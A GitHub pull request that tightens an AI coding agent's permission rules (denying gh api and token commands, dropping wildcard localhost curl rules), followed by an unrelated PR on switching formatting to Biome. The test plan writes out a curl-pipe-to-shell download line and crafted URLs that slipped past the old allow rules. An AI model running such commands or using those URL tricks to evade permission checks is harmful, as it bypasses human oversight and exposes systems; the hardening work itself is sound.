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Check repository visibility before posting, and close gh and curl permission gaps - #235

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public-repo-rule-and-gh-permissions
Oct 13, 2026
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public-repo-rule-and-gh-permissions

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@ejfine ejfine commented Oct 13, 2026 •

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None. Split out of #234, which carried it alongside the Biome change.

Why is this change necessary?

  • Nothing stopped an agent from naming or linking a private repository in a public one's PR text, comments or commit messages.
  • Some Bash permission rules didn't do what they were meant to:
    • gh api and the token (gh auth token, gh auth status -t) get around every other gh rule in the file.
    • Bash(gh repo *) sent every gh repo subcommand to a prompt, so creating, deleting or renaming a repository was one approval away, while the read-only gh repo view prompted too.
    • The localhost curl allow rules ended in a wildcard, so commands like curl http://localhost:1@127.0.0.2:9/ or curl http://localhost:1 http://127.0.0.3:9/ reached other hosts without a prompt, and uploads and file writes skipped auto mode's classifier.

How does this change address the issue?

  • AGENTS.md: before posting to a repository, check its visibility with gh repo view <owner>/<repo> --json visibility. In a public repository, don't name, link to or quote a private one, but still say when relevant work happened in one, anonymized and with only the details needed.
  • .claude/settings/permissions/bash.jsonc:
    • deny gh api, gh auth token and gh auth status -t / --show-token
    • deny the gh repo subcommands that create or change repositories; fork still prompts
    • allow gh repo view, for the visibility check, and gh repo clone
    • remove the localhost curl allow rules, so those calls go to auto mode's classifier or a prompt

What side effects does this change have?

  • Claude can no longer run gh api itself. Scripts that call it, like the address-pr-comments skill's, still work, because the rules only match the command Claude runs.
  • curl against a local dev server now prompts, or goes through auto mode's classifier.

Test plan

Checked live in a Claude Code session:

  • A throwaway rule with the same shape as gh auth status *-t* denied -t and --show-token while letting other flags through. The real command wasn't used because it would print the token.
  • gh api is denied, and gh repo view runs without a prompt.
  • Before the change, the curl rules let curl http://localhost:1@127.0.0.2:9/ and curl http://localhost:1 http://127.0.0.3:9/ reach other hosts without a prompt.
  • With the curl rules gone, and no curl rule in the user, project or local settings, auto mode's classifier decided each call:
    • Ran without a prompt: curl -s http://localhost:3000/, curl -s "http://localhost:4000/api/healthcheck", and a GraphQL POST to http://localhost:4000/graphql.
    • Denied as "Code from External": curl -fsSL https://example.invalid/install.sh | sh. The reserved .invalid domain never resolves, so nothing could have been fetched if it had run.
    • The classifier weighs the session's context, so these show how it tends to decide, not a guarantee.

…localhost curl

- Deny gh api, gh auth token and gh auth status -t/--show-token: raw API
  access or the token itself gets around every other gh rule. Scripts that
  need the API, like the address-pr-comments skill, call it themselves.
- Deny the gh repo subcommands that create or change repositories so they
  take a deliberate run with `!`. Fork still prompts, and view is allowed
  because AGENTS.md has Claude check repository visibility with it.
- Remove the localhost curl allow rules. Their trailing wildcard also
  matched other hosts, extra URLs, uploads and file writes, and allowed
  commands skip auto mode's classifier, which now reviews every curl.
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@ejfine
ejfine requested a review from zendern October 13, 2026 11:02
@ejfine
ejfine marked this pull request as ready for review October 13, 2026 11:02
@ejfine
ejfine enabled auto-merge (squash) October 13, 2026 12:17
@ejfine
ejfine merged commit 60dfe5e into main Oct 13, 2026
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@ejfine
ejfine deleted the public-repo-rule-and-gh-permissions branch October 13, 2026 12:28
ejfine added a commit that referenced this pull request Oct 13, 2026
…#234)

## Link to Issue or Message thread

None. Came out of an evaluation of replacing Prettier with Biome across
this repo, copier-nuxt-python-intranet-app and an app generated from it.
The parts that stood on their own have already merged: #235, #236
(renders `devcontainer.json` without trailing commas, which the Biome
check here relies on) and #237 (the install flags this PR's Biome
install uses).

Tested downstream at both template levels:
- child template:
LabAutomationAndScreening/copier-nuxt-python-intranet-app#240
- grandchild: a private app generated from
copier-nuxt-python-intranet-app, updated from that PR's branch, with CI
green including its e2e suites

## Why is this change necessary?

Biome already ran in every generated repo through the `biome-check`
hook, but `biome.jsonc` disabled its formatter and linter, so all it did
was sort imports. Formatting was left to Prettier, whose hook pattern
never matched `.js`, `.mjs` or `.cjs` and excluded `.jsonc` and
`tsconfig.json`, so those files went unformatted. Biome is also much
faster: on a generated app's 170 formatter-relevant files it took
0.09–0.2 s against Prettier's 4.5–6.4 s.

Prettier stays for the file types Biome can't format reliably yet. Vue
and HTML formatting is still behind Biome's experimental
`html.experimentalFullSupportEnabled` flag, and its 2.5.x releases fixed
several HTML formatter bugs that changed rendered whitespace. Biome
can't format SCSS or Less at all.

## How does this change address the issue?

- The Biome config moves from the repo root to `.config/biome.jsonc`,
next to the other tool configs.
- Biome only discovers `biome.json(c)` in the working directory or its
parents, so each runner points at the new location: the `biome-check`
hook passes `--config-path` (which also covers CI), and the VS Code
extension gets `biome.configurationPath`.
- With the config passed explicitly, its globs still resolve from the
repo root.
- The config turns the formatter on with the `.prettierrc` style. Spaces
and a 120-column width are the only settings that differ from Biome's
defaults. It also:
  - enables Tailwind directive parsing so CSS can be formatted again
  - turns formatting off for `.vue` files
- is now the only place that lists what Biome skips: snapshots,
`vendor_files`, `generated/` folders, the Strawberry `schema.graphql`
export, minified and UMD bundles, and `devcontainer-lock.json`
- force-ignores (`!!`) every `.config/biome.jsonc`, itself included,
because Biome treats any `biome.jsonc` it is handed as a config and
rejects these as a second root config
- The Biome hooks become local `language: system` hooks, the setup
Biome's docs recommend for running a single version, and run Biome
2.5.15 (up from the v2.1.1 hook) without exclude patterns of their own.
A separate `biome-format-config` hook formats the config by running
Biome from inside `.config/`, where the file is its own root config. The
Prettier hook is narrowed to `\.(vue|html|scss|less)$`.
- `install-ci-tooling.py` installs Biome globally through npm as part of
the pre-commit tooling from #237, pinned by `biome_version` like uv,
pnpm and Task. The hooks and the VS Code extension, which stopped
bundling Biome in version 3 and looks in the global npm root, both use
that one install. In CI, npm's global bin directory isn't on `PATH` when
node comes from `pnpm/setup`, so the installer appends it to
`GITHUB_PATH`.
- CodeRabbit's Biome is disabled, like its ESLint, ruff and pylint: CI
runs Biome through pre-commit, and CodeRabbit would not find the moved
config and fall back to its own defaults.
- VS Code: the `biomejs.biome` extension formats JSON, JSONC, JS, TS,
GraphQL and CSS. Prettier keeps Vue, HTML, SCSS and Less, and its
extension is now installed only in repos that use Vue, next to Volar,
since no other repo has files it formats.
- The reformat touches the `.claude` hook scripts,
`.claude/settings/*.jsonc` (trailing commas removed) and the istanbul
ESLint rule. The caveman config's `VALID_MODES` stays on one line
through a `biome-ignore format` suppression.

## What side effects does this change have?

- Generated repos get a one-time reformat on their next copier update.
- JS, MJS, CJS, JSONC and `tsconfig.json` are now formatted, and
`.jsonc` files lose their trailing commas.
- TypeScript changes very little. In a generated app it was six files,
all from Biome wrapping Vitest `test(name, options, fn)` calls
differently.
- Biome doesn't honor `// prettier-ignore` in JS or TS files. Use `//
biome-ignore format: <reason>`. The nuxt template's two occurrences are
converted in
LabAutomationAndScreening/copier-nuxt-python-intranet-app#240.
- Child templates with their own `.pre-commit-config.yaml.jinja` (like
the nuxt template) need the hook changes ported by hand on their next
update, as with any change to that file. Vue templates that use this
template's shared pre-commit config, such as copier-vue-package-template
and copier-nuxt-static-aws, get the hybrid without extra work.
- Generated repos' root `biome.jsonc` moves to `.config/biome.jsonc` on
their next copier update.
- Running the hooks needs `biome` on `PATH`. Devcontainers get it from
the on-create install; anywhere else, run
`.devcontainer/install-ci-tooling.py` first, the same way pre-commit,
prek and Task get installed.
- `pre-commit autoupdate` no longer bumps Biome. Bump `biome_version` in
`extensions/context.py` and `BIOME_VERSION` in this repo's
`install-ci-tooling.py` instead.
- Format-on-save for JS, TS and JSON uses Biome after a devcontainer
rebuild installs it and picks up `biome.configurationPath`. Repos
without Vue lose the Prettier extension on that rebuild.

## Test plan

- Downstream: the nuxt template PR above and a private app generated
from it were updated with `copier-update-from-ref` from this branch's
head, and CI is green in both, including the app's e2e suites.
- `devcontainer.json.jinja-base`: I rendered 52 answer combinations at
both template levels (child template roots and generated repos) and ran
Biome 2.5.15 on each as `.devcontainer/devcontainer.json`.
  - None would be reformatted.
- The Prettier extension, its config path and the Vue editor settings
appear in exactly the 24 renderings for repos that use Vue, and in none
of the others.
- Exclusions: with Biome 2.5.15, files under `generated/` (including
Kiota's `generated/open_api`) and `schema.graphql` are skipped even when
passed explicitly, as pre-commit passes them. Other files in the same
tree are still formatted.
- Config move:
- With the config passed via `--config-path`, an exclusion anchored at
the repo root (`!src/a.ts`) excluded the file and the `../`-prefixed
form didn't, so globs resolve from the repo root, not from `.config/`.
- The `biome-format-config` hook restores a deliberately misformatted
config.
- Installer: run locally with `CI=true`, `--install-pre-commit-tooling`
and a scratch `GITHUB_PATH` file, it installed Biome 2.5.15 through npm
and appended npm's global bin directory to that file, and `biome` then
resolved to the npm install.
- Not exercised:
- the VS Code extension finding the global npm install in a freshly
built devcontainer. Its lookup order (settings, project `node_modules`,
global npm root, `PATH`) comes from reading the extension's source.
- the Windows branch that takes npm's global bin directory from the
prefix itself, since no CI job runs the installer on Windows.

## Other

The Biome Vue formatter was checked against a generated app's real files
with the experimental flag on. 15 of 38 `.vue` files were reformatted,
and all 15 compiled to identical render functions and script ASTs with
`@vue/compiler-sfc`. Prettier still handles Vue here because each Biome
release can reformat those files again and has fixed render-changing
whitespace bugs within the last few versions. Switching Vue over is
worth revisiting once that flag is stable.

🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Developer Tooling**
* Added Biome as the default formatter for JSON, JavaScript, and
TypeScript, with formatting on save in development environments.
  * Prettier continues to format Vue, HTML, SCSS, and Less files.
* Biome is included in development and CI setup, with matching
configuration available in generated project templates.
* **Style**
* Updated formatting settings for consistent indentation and line
length.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
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